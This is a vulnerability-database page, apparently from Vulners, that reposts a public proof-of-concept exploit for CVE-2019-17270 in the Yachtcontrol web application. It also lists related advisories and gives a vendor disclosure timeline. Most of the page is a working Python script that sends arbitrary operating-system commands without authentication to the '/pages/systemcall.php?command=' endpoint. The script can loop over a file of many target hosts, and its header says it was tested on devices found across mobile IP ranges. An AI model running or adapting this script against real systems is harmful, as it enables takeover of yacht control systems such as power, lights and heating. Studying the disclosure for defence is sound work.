Lucene search
K

Yachtcontrol 2019-10-06 Remote Code Execution Exploit #RCE

🗓️ 06 Dec 2019 00:00:00Reported by HodorsecType 
zdt
 zdt
🔗 0day.today👁 403 Views

Yachtcontrol 2019-10-06 RCE Exploit allows unauthenticated OS command execution on Yachtcontrol webserver

Related
Code
ReporterTitlePublishedViews
Family
BDU FSTEC
The vulnerability of the Yachtcontrol navigation software’s web servers allows a hacker to execute arbitrary code.
15 Jun 202100:00
bdu_fstec
Circl
CVE-2019-17270
10 Mar 202408:41
circl
CNVD
Unspecified vulnerability in Yachtcontrol
9 Dec 201900:00
cnvd
CVE
CVE-2019-17270
10 Dec 201920:48
cve
Cvelist
CVE-2019-17270
10 Dec 201920:48
cvelist
Nuclei
Yachtcontrol Webapplication 1.0 - Remote Command Injection
4 Jun 202603:48
nuclei
NVD
CVE-2019-17270
10 Dec 201921:15
nvd
Packet Storm
Yachtcontrol 2019-10-06 Remote Code Execution
6 Dec 201900:00
packetstorm
Prion
Authentication flaw
10 Dec 201921:15
prion
RedhatCVE
CVE-2019-17270
22 May 202504:43
redhatcve
Rows per page
# Exploit Title: Yachtcontrol Webapplication - Unauthenticated Remote Code Execution
# Exploit Author: Hodorsec
# Vendor Homepage: http://www.yachtcontrol.nl/en/
# Software Link: http://download.yachtcontrol.nl/klant/Software/ & http://download.yachtcontrol.nl/klant/Firmware/
# Versions: Yachtcontrol webapplication through versions dated on 2019-10-06
# Tested on: Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
# CVE: CVE-2019-17270
# 
# Description Product:
# Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication, 
# it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components. 
# Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht.
# Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices.
#
# Description Vulnerability: 
# It's possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" 
# page and parameter, where {COMMAND} will be executed and returning the results to the client. 
# 
# Affected Components:
# Yachtcontrol webservers using the custom PHP webapplication, versions until 2019-10-06.

#!/usr/bin/python
import sys,os,requests

# Check arguments
if len(sys.argv) != 5:
    print "Error: enter at least one IP/FQDN as argument. Exiting..."
    print "\nUsage: " + sys.argv[0] + " {IP/FQDN} {PORT} {PROTO} {COMMAND}\n"
    exit(0)

# Parameters
host = sys.argv[1]
port = sys.argv[2]
proto = sys.argv[3]
command = sys.argv[4]
timeout = 10
isFile = False

# Check for file or single IP/FQDN
if os.path.isfile(host):
    isFile = True
    with open(host) as f:
        targets = f.readlines()

# Vulnerable page
page = "/pages/systemcall.php?command="

# HTTP or HTTPS
if proto == "http":
    proto = "http://"
elif proto == "https":
    proto = "https://"
else:
    print "\nInvalid method given: enter http or https\n"
    exit(0)

# Do the request
if isFile:
    for host in targets:
        target = host.strip()
        print target
        try:
            response = requests.get(proto + target + ":" + port + page + command, verify=False, timeout=timeout)
            print(response.content.replace('executing command: ' + command,''))
        except requests.exceptions.Timeout:
            print "Timed out."
            pass
        except requests.exceptions.RequestException as e:
            print "Host not found."
            pass
else:
    try:
        response = requests.get(proto + host + ":" + port + page + command, verify=False, timeout=timeout)
        print(response.content.replace('executing command: ' + command,''))
    except requests.exceptions.Timeout:
        print "Timed out."
        pass
    except requests.exceptions.RequestException as e:
        print "Host not found."
        pass

#  Disclosure Timeline using CERT/CC disclosure policy:
#  - 06-10-19: Requested CVE
#  - 06-10-19: Contacted vendor for initial contact, used several publicly known mailaddresses
#  - 12-10-19: Sent reminder due to no response
#  - 06-11-19: Sent second reminder due to no response
#  - 08-11-19: Received response requesting information, sent information
#  - 11-11-19: Correspondence concerning vulnerability
#  - 25-11-19: Sent reminder of publishing PoC to vendor, received response
#  - 05-12-19: Sent final reminder of publishing PoC to vendor
#  - 06-12-19: Public Disclosure

#  0day.today [2019-12-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation